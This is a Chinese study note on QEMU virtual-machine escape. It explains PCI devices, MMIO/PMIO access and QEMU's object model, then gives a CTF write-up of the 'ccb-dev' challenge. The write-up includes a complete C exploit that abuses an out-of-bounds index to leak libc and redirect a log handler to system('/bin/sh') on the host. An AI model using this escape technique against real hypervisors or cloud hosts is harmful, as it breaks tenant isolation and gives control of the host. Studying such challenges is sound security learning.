qemu逃逸学习 CTF中的qemu逃逸便是通过在qemu源码中注册一个新的pci,来模拟真实环境下的某一个pci外设,例如键盘控制器之类?通过构造特定的Guest操作触发漏洞(一般是越界读写),最终在Host上获得shell读取flag,主要还是侧重于代码的逆向和漏洞的利用技巧。
实战中的或许是类似于针对云服务商的?目标是突破租户隔离,来获得宿主机的敏感信息吧,还是非常有意思滴!!!
原文:https://xz.aliyun.com/news/6166
只做学习记录和批注
好文:https://xuanxuanblingbling.github.io/ctf/pwn/2022/06/09/qemu/
qemu概述 运行的每个qemu
虚拟机都相应的是一个qemu进程,从本质上看,虚拟出的每个虚拟机对应 host
上的一个 qemu
进程,而虚拟机的执行线程(如 CPU
线程、I/O
线程等)对应 qemu
进程的一个线程。
其中**客户机系统 (Guest)**:运行在 QEMU 之上,是虚拟机中安装的操作系统。
客户机系统认为自己直接运行在硬件上,但实际上是通过 QEMU 与底层硬件交互 。
qemu虚拟机内存所对应的真实内存结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 Guest' processes +--------------------+ Virtual addr space | | +--------------------+ | | \__ Page Table \__ \ \ | | Guest kernel +----+--------------------+----------------+ Guest's phy. memory | | | | +----+--------------------+----------------+ | | \__ \__ \ \ | QEMU process | +----+------------------------------------------+ Virtual addr space | | | +----+------------------------------------------+ | | \__ Page Table \__ \ \ | | +----+-----------------------------------------------++ Physical memory | | || +----+-----------------------------------------------++
qemu
用于模拟设备运行,而qemu逃逸漏洞多发于模拟pci设备 中,漏洞形成一般是修改qemu-system
代码,所以漏洞存在于qemu-system
文件内。而逃逸就是指利用漏洞从qemu-system
模拟的这个小系统逃到主机内,从而在linux
主机内达到命令执行的目的。
qemu中的地址 从用户虚拟地址到用户物理地址,从用户物理地址到qemu虚拟地址
用户的物理内存实际上是qemu
程序mmap
出来的
-m 1G
也就是mmap
一块1G
的内存
1 2 3 4 5 6 7 8 9 10 # !/bin/bash ./qemu-system-x86_64 \ -m 1G \ -initrd ./rootfs.cpio \ -nographic \ -kernel ./vmlinuz-5.0.5-generic \ -L pc-bios/ \ -append "priority=low console=ttyS0" \ -monitor /dev/null \ -device pipeline
pci设备概述 PCI设备都有一个配置空间(PCI Configuration Space),其记录了关于此设备的详细信息。大小为256字节 ,其中头部64字节是PCI标准规定 的,当然并非所有的项都必须填充,位置是固定了,没有用到可以填充0。前16个字节的格式是一定的 ,包含头部的类型、设备的总类、设备的性质以及制造商等,格式如下:
比较关键的是其6个BAR(Base Address Registers),BAR记录了设备所需要的地址空间的类型,基址以及其他属性。BAR的格式如下:
当BAR最后一位为0表示这是映射的I/O内存 ,为1是表示这是I/O端口 ,当是I/O内存的时候1-2位表示内存的类型,bit 2为1表示采用64位地址,为0表示采用32位地址。bit1为1表示区间大小超过1M,为0表示不超过1M。bit3表示是否支持可预取。
当最后一位为1时表示映射的I/O端口。I/O端口一般不支持预取 ,所以这里是29位的地址。
通过memory space访问设备I/O的方式称为memory mapped I/O,即MMIO ,这种情况下,CPU直接使用普通访存指令即可访问设备I/O 。
通过I/O space访问设备I/O的方式称为port I/O ,或者port mapped I/O,这种情况下CPU需要使用专门的I/O指令如IN/OUT
访问I/O端口。
在MMIO 中,内存和I/O设备共享同一个地址空间。 MMIO是应用得最为广泛的一种I/O方法,它使用相同的地址总线 来处理内存和I/O设备,I/O设备的内存和寄存器被映射到与之相关联的地址。当CPU访问某个内存地址时,它可能是物理内存,也可以是某个I/O设备的内存,用于访问内存的CPU指令也可来访问I/O设备。每个I/O设备监视CPU的地址总线 ,一旦CPU访问分配给它的地址,它就做出响应,将数据总线连接到需要访问的设备硬件寄存器。为了容纳I/O设备,CPU必须预留给I/O一个地址区域,该地址区域不能给物理内存使用。
在PMIO 中,内存和I/O设备有各自的地址空间。 端口映射I/O通常使用一种特殊的CPU指令,专门执行I/O操作。在Intel的微处理器中,使用的指令是IN和OUT。这些指令可以读/写1,2,4个字节(例如:outb
, outw
, outl
)到IO设备上。I/O设备有一个与内存不同的地址空间 ,为了实现地址空间的隔离,要么在CPU物理接口上增加一个I/O引脚 ,要么增加一条专用的I/O总线 。由于I/O地址空间与内存地址空间是隔离的,所以有时将PMIO称为被隔离的IO (Isolated I/O)。
pci设备inQemu pci设备的寻址是由总线、设备以及功能构成。 如下所示:
1 2 3 4 5 6 7 8 ubuntu@ubuntu:~$ lspci 00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02) 00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II] 00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II] 00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03) 00:02.0 VGA compatible controller: Device 1234:1111 (rev 02) 00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10) 00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)
xx:yy:z
的格式为总线:设备:功能
的格式。
其中[0000]
表示pci的域, PCI域最多可以承载256条总线 。 每条总线最多可以有32个设备 ,每个设备最多可以有8个功能 。
总之每个 PCI 设备有一个总线号, 一个设备号, 一个功能号标识。 PCI 规范允许单个系统占用多达 256 个总线, 但是因为 256 个总线对许多大系统是不够的, Linux 现在支持 PCI 域。每个 PCI 域可以占用多达 256 个总线. 每个总线占用 32 个设备 , 每个设备可以是 一个多功能卡(例如一个声音设备, 带有一个附加的 CD-ROM 驱动)有最多 8 个功能 。
PCI 设备通过VendorIDs
、DeviceIDs
、以及Class Codes
字段区分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ubuntu@ubuntu:~$ lspci -v -m -n -s 00 :03.0 Device: 00 :03.0 Class: 00f f Vendor: 1234 Device: 11e9 SVendor: 1 af4 SDevice: 1100 PhySlot: 3 Rev: 10 ubuntu@ubuntu:~$ lspci -v -m -s 00 :03.0 Device: 00 :03.0 Class: Unclassified device [00f f] Vendor: Vendor 1234 Device: Device 11e9 SVendor: Red Hat, Inc SDevice: Device 1100 PhySlot: 3 Rev: 10
也可通过查看其config
文件来查看设备的配置空间,数据都可以匹配上,如前两个字节1234
为vendor id
:
1 2 3 4 5 ubuntu@ubuntu:~$ hexdump /sys/devices/pci0000\:00/0000\:00\:03.0/config 0000000 1234 11e9 0103 0000 0010 00ff 0000 0000 0000010 1000 febf c051 0000 0000 0000 0000 0000 0000020 0000 0000 0000 0000 0000 0000 1af4 1100 0000030 0000 0000 0000 0000 0000 0000 0000 0000
查看设备内存空间:
1 2 3 4 5 6 7 8 9 10 11 ubuntu@ubuntu:~$ lspci -v -s 00:03.0 -x 00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10) Subsystem: Red Hat, Inc Device 1100 Physical Slot: 3 Flags: fast devsel Memory at febf1000 (32-bit, non-prefetchable) [size=256] I/O ports at c050 [size=8] 00: 34 12 e9 11 03 01 00 00 10 00 ff 00 00 00 00 00 10: 00 10 bf fe 51 c0 00 00 00 00 00 00 00 00 00 00 20: 00 00 00 00 00 00 00 00 00 00 00 00 f4 1a 00 11 30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
可以看到该设备有两个空间:BAR0
为MMIO
空间,地址为febf1000
,大小为256
;BAR1
为PMIO
空间,端口地址为0xc050
,大小为8
。
可以通过查看resource
文件来查看其相应的内存空间:
1 2 3 4 5 6 ubuntu@ubuntu:~$ ls -la /sys/devices/pci0000\:00/0000\:00\:03.0/ ... -r--r--r-- 1 root root 4096 Aug 1 03:40 resource -rw------- 1 root root 256 Jul 31 13:18 resource0 -rw------- 1 root root 8 Aug 1 04:01 resource1 ...
resource
文件包含其它相应空间的数据,如resource0
(MMIO
空间)以及resource1
(PMIO
空间):
1 2 3 4 5 6 ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/resource 0x00000000febf1000 0x00000000febf10ff 0x0000000000040200 0x000000000000c050 0x000000000000c057 0x0000000000040101 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000
每行分别表示相应空间的起始地址(start-address
)、结束地址(end-address
)以及标识位(flags
)。
qemu中访问I/O空间 存在mmio
与pmio
,那么在系统中该如何访问这两个空间呢?访问mmio
与pmio
都可以采用在内核态访问 或在用户空间编程进行访问 。
访问mmio 编译内核 模块,在内核态访问mmio空间,示例代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include <asm/io.h> #include <linux/ioport.h> long addr = ioremap (ioaddr, iomemsize); readb (addr); readw (addr); readl (addr); readq (addr); writeb (val, addr); writew (val, addr); writel (val, addr); writeq (val, addr); iounmap (addr);
示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #include <linux/io.h> #include <linux/ioport.h> void __iomem *addr;unsigned int val;if (!request_mem_region (ioaddr, iomemsize, "my_device" )) { return -EBUSY; } addr = ioremap (ioaddr, iomemsize); if (!addr) { release_mem_region (ioaddr, iomemsize); return -ENOMEM; } val = readl (addr); writel (val + 1 , addr); iounmap (addr);release_mem_region (ioaddr, iomemsize);
还有一种方式是在用户态访问mmio空间,通过映射resource0
文件实现内存的访问,示例代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 #include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #include <sys/io.h> unsigned char * mmio_mem;void die (const char * msg) { perror(msg); exit (-1 ); } void mmio_write (uint32_t addr, uint32_t value) { *((uint32_t *)(mmio_mem + addr)) = value; } uint32_t mmio_read (uint32_t addr) { return *((uint32_t *)(mmio_mem + addr)); } int main (int argc, char *argv[]) { int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0" , O_RDWR | O_SYNC); if (mmio_fd == -1 ) die("mmio_fd open failed" ); mmio_mem = mmap(0 , 0x1000 , PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0 ); if (mmio_mem == MAP_FAILED) die("mmap mmio_mem failed" ); printf ("mmio_mem @ %p\n" , mmio_mem); mmio_read(0x128 ); mmio_write(0x128 , 1337 ); }
访问pmio 编译内核模块,在内核空间访问pmio空间,示例代码如下:
1 2 3 4 5 6 7 8 9 10 #include <asm/io.h> #include <linux/ioport.h> inb(port); inw(port); inl(port); outb(val,port); outw(val,port); outl(val,port);
用户空间访问则需要先调用iopl
函数申请访问端口,示例代码如下:
1 2 3 4 5 6 7 8 9 10 #include <sys/io.h > iopl(3 ); inb(port); inw(port); inl(port); outb(val,port); outw(val,port); outl(val,port);
有一点要注意的是在访问pmio的时候,是直接通过I/O port写入和读取资源的,因此要事先声明port归属,不然有可能会导致冲突,pmio常见用于x86平台上,适用于传统的设备,如:串口,键盘等等
特性
MMIO(ioremap + readl/writel)
PMIO(inb/outb)
访问方式
内存映射(直接访问物理内存)
I/O 端口(x86 in
/out
指令)
适用架构
所有架构(x86/ARM/RISC-V)
主要是 x86
地址范围
32/64 位物理地址
16 位端口地址(0x0000–0xFFFF)
性能
通常更快(内存访问优化)
较慢(需要 CPU I/O 指令)
典型设备
PCIe 设备、GPU、网卡
传统 ISA 设备(串口、PS/2)
QOM编程模型 QEMU
提供了一套面向对象编程的模型——QOM
(QEMU Object Module
),几乎所有的设备如CPU、内存、总线等都是利用这一面向对象的模型来实现的。
由于qemu
模拟设备以及CPU等,既有相应的共性又有自己的特性,因此使用面向对象来实现相应的程序是非常高效的,可以像理解C++
或其它面向对象语言来理解QOM
。
有几个比较关键的结构体,TypeInfo
、TypeImpl
、ObjectClass
以及Object
。其中ObjectClass
、Object
、TypeInfo
定义在include/qom/object.h
中,TypeImpl
定义在qom/object.c中
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 struct TypeInfo { const char *name; const char *parent; size_t instance_size; void (*instance_init)(Object *obj); void (*instance_post_init)(Object *obj); void (*instance_finalize)(Object *obj); bool abstract; size_t class_size; void (*class_init)(ObjectClass *klass, void *data); void (*class_base_init)(ObjectClass *klass, void *data); void (*class_finalize)(ObjectClass *klass, void *data); void *class_data; InterfaceInfo *interfaces; };
TypeImpl
的属性与TypeInfo
的属性对应,实际上qemu
就是通过用户提供的TypeInfo
创建的TypeImpl
的对象。
如下面定义的pci_test_dev
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 static const TypeInfo pci_testdev_info = { .name = TYPE_PCI_TEST_DEV, .parent = TYPE_PCI_DEVICE, .instance_size = sizeof (PCITestDevState), .class_init = pci_testdev_class_init, }; TypeImpl *type_register_static (const TypeInfo *info) { return type_register (info); } TypeImpl *type_register (const TypeInfo *info) { assert (info->parent); return type_register_internal (info); } static TypeImpl *type_register_internal (const TypeInfo *info) { TypeImpl *ti; ti = type_new (info); type_table_add (ti); return ti; }
当所有qemu
总线、设备等的type_register_static
执行完成后,即它们的TypeImpl
实例创建成功后,qemu就会在type_initialize
函数中去实例化其对应的ObjectClasses
。
每个type
都有一个相应的ObjectClass
所对应,其中ObjectClass
是所有类的基类
1 2 3 4 5 6 7 8 9 10 11 12 struct ObjectClass { Type type; GSList *interfaces; const char *object_cast_cache[OBJECT_CLASS_CAST_CACHE]; const char *class_cast_cache[OBJECT_CLASS_CAST_CACHE]; ObjectUnparent *unparent; GHashTable *properties; };
type
是连接ObjectClass
和TypeImpl
对象的桥梁
用户可以定义自己的类,继承相应类即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 typedef struct TypeImpl *Type;typedef struct ObjectClass ObjectClass;struct ObjectClass { Type type; ... typedef struct DeviceClass { ObjectClass parent_class; ... typedef struct PCIDeviceClass { DeviceClass parent_class; ...
可以看到类的定义中父类都在第一个字段 ,使得可以父类与子类直接实现转换 。一个类初始化时会先初始化它的父类,父类初始化完成后,会将相应的字段拷贝至子类同时将子类其余字段赋值为0,再进一步赋值。同时也会继承父类相应的虚函数指针 ,当所有的父类都初始化结束后 ,TypeInfo::class_init
就会调用 以实现虚函数的初始化,如下例的pci_testdev_class_init所示:
1 2 3 4 5 6 7 8 9 10 static void pci_testdev_class_init (ObjectClass *klass, void *data) { DeviceClass *dc = DEVICE_CLASS (klass); PCIDeviceClass *k = PCI_DEVICE_CLASS (klass); k->init = pci_testdev_init; k->exit = pci_testdev_uninit; ... dc->desc = "PCI Test Device" ; ... }
例题 2025长城杯决赛 ccb-dev 分析 1 2 3 4 5 6 7 8 9 10 11 12 13 root@97b 480f126b2:/home/ctf# cat run.sh \n #!/bin/sh ./qemu-system-x86_64 \ -m 512 M \ -kernel ./vmlinuz \ -initrd ./core.cpio \ -L pc-bios \ -monitor /dev/null \ -append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet kaslr" \ -cpu kvm64,+smep \ -smp cores=2 ,threads=1 \ -device ccb-dev-pci \ -nographic
看到qemu的启动脚本,有个-device ccb-dev-pci
:加载一个 自定义 PCI 设备
可以猜测漏洞就在这个pci上,看pci的详细信息
1 2 3 4 5 6 7 8 / # lspci -v 00 :01.0 Class 0601 : 8086 :7000 00 :04.0 Class 00f f: 1234 :1337 00 :00.0 Class 0600 : 8086 :1237 00 :01.3 Class 0680 : 8086 :7113 00 :03.0 Class 0200 : 8086 :100 e00 :01.1 Class 0101 : 8086 :7010 00 :02.0 Class 0300 : 1234 :1111
可以看到有两个非标准的厂商和设备id,1234:1337更像是ccb_dev的pci
1 2 3 4 5 6 7 /sys/devices/pci0000:00 /0000 :00 :04.0 # hexdump config 0000000 1234 1337 0103 0000 0081 00f f 0000 0000 0000010 1000 febf 0000 0000 0000 0000 0000 0000 0000020 0000 0000 0000 0000 0000 0000 1 af4 1100 0000030 0000 0000 0000 0000 0000 0000 0000 0000 * 0000100
这里有个BAR0是MMIO
逆向qemu
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 void __cdecl ccb_dev_class_init (ObjectClass *oc, void *data) { DeviceClass *dc; PCIDeviceClass *pci; dc = (DeviceClass *)object_class_dynamic_cast_assert ( oc, "device" , "/worksapce/qemu-3.1.0/hw/misc/ccb-dev.c" , 146 , "ccb_dev_class_init" ); pci = (PCIDeviceClass *)object_class_dynamic_cast_assert ( oc, "pci-device" , "/worksapce/qemu-3.1.0/hw/misc/ccb-dev.c" , 147 , "ccb_dev_class_init" ); pci->realize = (void (*)(PCIDevice *, Error **))ccb_dev_realize; pci->vendor_id = 4660 ; pci->device_id = 4919 ; pci->revision = -127 ; pci->class_id = 255 ; dc->desc = "arttnba3 test PCI device" ; set_bit_68 (7LL , dc->categories); }
大致的作用:
确保当前设备类继承自 QEMU 的通用设备基类 和 确保当前设备类是一个 PCI 设备。
realize
是 QEMU 设备初始化的关键回调,在设备实例化时被调用
配置 PCI 设备的厂商 ID、设备 ID、版本号和类代码。
然后 设置设备的描述字符串。
最后设置 类别掩码 对 设备进行分类,掩码为7
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 void __cdecl ccb_dev_realize (PCIDevice *pci_dev, Error **errp) { CCBPCIDevState *ds_0; ds_0 = (CCBPCIDevState *)object_dynamic_cast_assert ( &pci_dev->qdev.parent_obj, "ccb-dev-pci" , "/worksapce/qemu-3.1.0/hw/misc/ccb-dev.c" , 123 , "ccb_dev_realize" ); memory_region_init_io ( &ds_0->mmio, &ds_0->parent_obj.qdev.parent_obj, &ccb_dev_mmio_ops, pci_dev, "ccb_dev-mmio" , 0x800 uLL); pci_register_bar (pci_dev, 0 , 0 , &ds_0->mmio); memset (ds_0->buffer, 0 , sizeof (ds_0->buffer)); ds_0->index = 0 ; ds_0->log_arg = 0LL ; ds_0->status = 0 ; ds_0->log_fd = 2LL ; memset (ds_0->log_format, 0 , sizeof (ds_0->log_format)); ds_0->log_handler = (LogHandlerFunc)&dprintf; }
MMIO 初始化 :
设备通过 MMIO
与 Guest
交互,大小为 2KB
,操作由 ccb_dev_mmio_ops
实现。
需确保 ccb_dev_mmio_ops
已定义(如 read/write
回调)。
PCI BAR 注册 :
Guest
访问 PCI BAR 0
时,会映射到设备的 MMIO
区域。
设备状态初始化 :
日志机制 :
默认日志输出到 stderr
,可通过修改 log_fd
和 log_handler
重定向。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 uint32_t __cdecl ccb_dev_mmio_read (void *opaque, hwaddr addr, unsigned int size) { uint32_t val; CCBPCIDevState *ds_0; ds_0 = (CCBPCIDevState *)object_dynamic_cast_assert ( (Object *)opaque, "ccb-dev-pci" , "/worksapce/qemu-3.1.0/hw/misc/ccb-dev.c" , 55 , "ccb_dev_mmio_read" ); val = 0 ; switch ( addr ) { case 0uLL : val = ds_0->index; break ; case 4uLL : val = ds_0->buffer[ds_0->index]; break ; case 8uLL : val = 0xDEADBEEF ; break ; case 0x10 uLL: val = ds_0->log_arg; break ; case 0x18 uLL: val = ds_0->status; break ; default : return val; } return val; }
会发现如果index域可控,那么就有个越界读取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 void __cdecl ccb_dev_mmio_write (void *opaque, hwaddr addr, uint64_t val, unsigned int size) { uint32_t vala; CCBPCIDevState *ds_0; vala = val; ds_0 = (CCBPCIDevState *)object_dynamic_cast_assert ( (Object *)opaque, "ccb-dev-pci" , "/worksapce/qemu-3.1.0/hw/misc/ccb-dev.c" , 85 , "ccb_dev_mmio_write" ); switch ( addr ) { case 0uLL : ds_0->index = vala; break ; case 4uLL : ds_0->buffer[ds_0->index] = vala; break ; case 0xC uLL: if ( ds_0->log_handler ) { ds_0->log_handler (ds_0->log_fd, ds_0->log_format, ds_0->log_arg); ds_0->status = 1074749 ; } else { ds_0->status = 16388413 ; } break ; case 0x10 uLL: ds_0->log_arg = vala; break ; case 0x14 uLL: ds_0->log_fd = vala; break ; default : return ; } }
发现index可控,且有个越界写,在0xC选项中有个函数执行
那么思路就是:
覆盖log_handler为system,然后log_fd为/bin/sh的地址,就能实现qemu的逃逸,妙!!
而要与MMIO进行交互 就得通过resource0
写exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <string.h> #include <errno.h> #include <signal.h> #include <fcntl.h> #include <ctype.h> #include <termios.h> #include <sys/types.h> #include <sys/mman.h> #include <sys/io.h> #define libc_system_offset 0x50d70 #define libc_dprintf_offset 0x60a10 char * pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0" ;unsigned char * mmio_mem;unsigned char * getMMIOBase () { int fd; if ((fd = open (pci_device_name, O_RDWR | O_SYNC)) == -1 ) { perror ("open pci device" ); exit (-1 ); } mmio_mem = mmap (0 , 0x1000 , PROT_READ | PROT_WRITE, MAP_SHARED, fd,0 ); if (mmio_mem == (void *) -1 ) { perror ("mmap" ); exit (-1 ); } return mmio_mem; } void mmio_write (uint32_t addr, uint32_t value) { *((uint32_t *)(mmio_mem + addr)) = value; } uint32_t mmio_read (uint32_t addr) { return *((uint32_t *)(mmio_mem + addr)); } int main (int argc, char const *argv[]) { getMMIOBase (); if (iopl (3 ) !=0 ) { printf ("I/O permission is not enough" ); exit (0 ); } printf ("mmio_mem Resource0Base: %p\n" , mmio_mem); mmio_write (0 ,0x12 ); uint32_t index = mmio_read (0 ); printf ("[*] index: %#x.\n" , index); uint64_t libc_fprintf = mmio_read (0x4 ); printf ("[*] libc_fprintf: 0x%llx.\n" , libc_fprintf); libc_fprintf=libc_fprintf<<32 ; printf ("[*] libc_fprintf: 0x%llx.\n" , libc_fprintf); mmio_write (0 ,0x11 ); index = mmio_read (0 ); printf ("[*] index: %#x.\n" , index); libc_fprintf += mmio_read (0x4 ); printf ("[*] libc_fprintf: 0x%llx.\n" , libc_fprintf); uint64_t libcbase=libc_fprintf-libc_dprintf_offset; uint64_t system=libcbase+libc_system_offset; uint64_t bin_sh=libcbase+0x1d8678 ; printf ("[*] libcbase: 0x%llx.\n" , libcbase); printf ("[*] bin_sh: 0x%llx.\n" , bin_sh); printf ("[*] system: 0x%llx.\n" , system); mmio_write (0 ,0x13 ); mmio_write (0x4 ,(bin_sh&0xffffffff )); mmio_write (0 ,0x14 ); mmio_write (0x4 ,((bin_sh>>32 )&0xffff )); mmio_write (0 ,0x11 ); mmio_write (0x4 ,(system&0xffffffff )); mmio_write (0xc ,0xbeef ); return 0 ; }
这里的wp是由youlin 师傅写的,只做学习作用
调试 先用gdb加载这个qemu的符号表,然后再通过attach pid来附加上这个qemu进程
偏移寻找 本地qemu的偏移是通过本地的libc给的,会跟远程的不一样,因此要先在本地打通之后,再修改成远程给的docker的libc的偏移,最后就能成功getshell
问题 1 $ sh:turning off NDELAY mode
本地获得shell之后可能会遇到这种情况,youlin师傅说这可能是管道的冲突,但是远程是可以打通的
在 Guest 用户态 C 代码中对 mmio_mem
指针的操作,最终会触发 QEMU Host 进程中相应的设备模拟代码的执行
当你通过这个指针进行读写操作时:
Guest OS 将虚拟地址转换为物理地址 。
QEMU 拦截对这些特定物理地址的访问。
QEMU 调用其内部对应的设备模型 MMIO 处理函数(如 ccb_dev_mmio_write
/ read
或针对该设备的其他特定函数),并将偏移量和(对于写入)数据传递给这些函数
pipeline 分析 1 2 3 4 5 6 7 8 9 10 #!/bin/bash timeout 300 ./qemu-system-x86_64 \ -m 1 G \ -initrd ./rootfs.cpio \ -nographic \ -kernel ./vmlinuz-5.0 .5 -generic \ -L pc-bios/ \ -append "priority=low console=ttyS0" \ -monitor /dev/null \ -device pipeline
删除timeout,可以发现漏洞应该在pipeline上·